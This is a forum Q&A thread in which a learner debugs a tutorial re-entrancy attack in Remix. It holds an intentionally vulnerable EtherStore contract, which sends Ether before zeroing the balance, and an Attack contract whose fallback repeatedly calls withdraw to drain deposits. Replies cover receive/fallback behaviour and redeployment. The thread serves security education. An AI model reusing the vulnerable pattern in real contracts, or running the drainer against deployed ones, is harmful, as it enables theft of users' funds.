0

I'm following a tutorial on youtube about Re-Entrancy attacks to understand security.

I've created two contracts in seperated files using remix :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

    contract EtherStore {
        mapping(address => uint) public balances;
    
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdraw() public {
            uint bal = balances[msg.sender];
            require(bal > 0);
    
            (bool sent, ) = msg.sender.call{value: bal}("");
            require(sent, "Failed to send Ether");
    
            balances[msg.sender] = 0;
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "./EtherStore.sol";
    contract Attack {
        EtherStore public etherStore;
    
        constructor(address _etherStoreAddress) {
            etherStore = EtherStore(_etherStoreAddress);
        }
    
        // Fallback is called when EtherStore sends Ether to this contract.
        fallback() external payable {
            if (address(etherStore).balance >= 1 ether) {
                etherStore.withdraw();
            }
        }

       
        function attack() external payable {
            require(msg.value >= 1 ether);
            etherStore.deposit{value: 1 ether}();
            etherStore.withdraw();
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }

First I deployed EtherStore, I send 2 ethers from different accounts Alice & Bob. I deployed the Attack contract with the address of EtherStore. Then with another Account that I deployed the Attack contract with, I entered 1 ether and click on the attack function to get the 2 ether of Alice & bob.

The error that I got is this one :

The transaction has been reverted to the initial state. Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.

This is the code from the tutorial: https://solidity-by-example.org/hacks/re-entrancy/

What do you think?

1 Answer 1

0

receive() has priority over fallback(). You have both of them in your contract so the receive will be called and not the fallback.

And there is no reason for it to fail if it does nothing and its payable so my guess is maybe you complied the code in remix but you forgot to deploy it again and you called the attack on an old implementation.

5
  • The reason why I added receive() is that the compiler gave me an error that there is a fallback() function but there is no receive() function? it is normal
    – David Jay
    Mar 9, 2022 at 13:53
  • Are you sure it was an error? it is usually a warning you can ignore
    – egjlmn1
    Mar 9, 2022 at 14:05
  • I just remove the receive function and I deployed the attack contract but when I click on the attack function it gives me the same error as I mentioned above, Even though I refreshed the page I complied the contracts again
    – David Jay
    Mar 9, 2022 at 14:13
  • Compiling the contracts isn't enough. you need to deploy them again, make sure you delete the old deployed contracts (you have a little trash can icon button) and then deploy them
    – egjlmn1
    Mar 9, 2022 at 14:17
  • Yes, I tried that too but the problem persisted until I debugged it and I removed the "ether" keyword next to 1 in the attack function and fallback function, finally It works. Thanks for you time
    – David Jay
    Mar 9, 2022 at 14:32

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.